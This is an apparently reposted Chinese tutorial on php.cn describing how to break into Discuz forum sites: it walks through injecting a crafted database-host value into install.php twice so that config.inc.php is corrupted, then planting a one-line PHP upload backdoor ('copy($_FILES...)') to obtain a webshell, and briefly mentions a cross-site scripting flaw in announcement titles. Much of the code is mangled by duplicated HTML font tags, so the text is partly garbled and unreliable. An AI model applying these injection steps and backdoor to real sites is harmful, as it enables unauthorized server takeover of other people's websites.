两种Discuz网站漏洞的入侵方法_PHP

WBOY
发布: 2016-06-01 12:25:34
原创
2806 人浏览过

鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
<font color="#000000"> <font color="#0000BB">$configfile </font><font color="#007700">= </font><font color="#0000BB">preg_replace</font><font color="#007700">(</font><font color="#DD0000">"/[$]dbhosts*=s*["'].*?["']/is", "$dbhost = '$dbhost'", $configfile); <code><font color="#000000"> <font color="#0000BB">$configfile </font><font color="#007700">= </font><font color="#0000BB">preg_replace</font><font color="#007700">(</font><font color="#DD0000">"/[$]dbhosts*=s*["'].*?["']/is", "$dbhost = '$dbhost'", $configfile); <br><br>$configfile = preg_replace("/[$]dbusers*=s*["'].*?["']/is", "$dbuser = '$dbuser'", $configfile); <br><br>$configfile = preg_replace("/[$]dbpws*=s*["'].*?["']/is", "$dbpw = '$dbpw'", $configfile); <br><br>............</font> </font>
$configfile = preg_replace("/[$]dbusers*=s*["'].*?["']/is", "$dbuser = '$dbuser'", $configfile);

$configfile = preg_replace("/[$]dbpws*=s*["'].*?["']/is", "$dbpw = '$dbpw'", $configfile); <font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;?></font> </font>
............
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>'</font>
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现



<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>';?>';</font> 这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

<font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?></font> </font>
这样的情况,但现在是却是一种
这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入: 重复写入两次就可以通过install.php上传php后门了。 鸡肋2:后台的发公告的标题存在跨站漏洞。

相关标签:
来源:php.cn
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板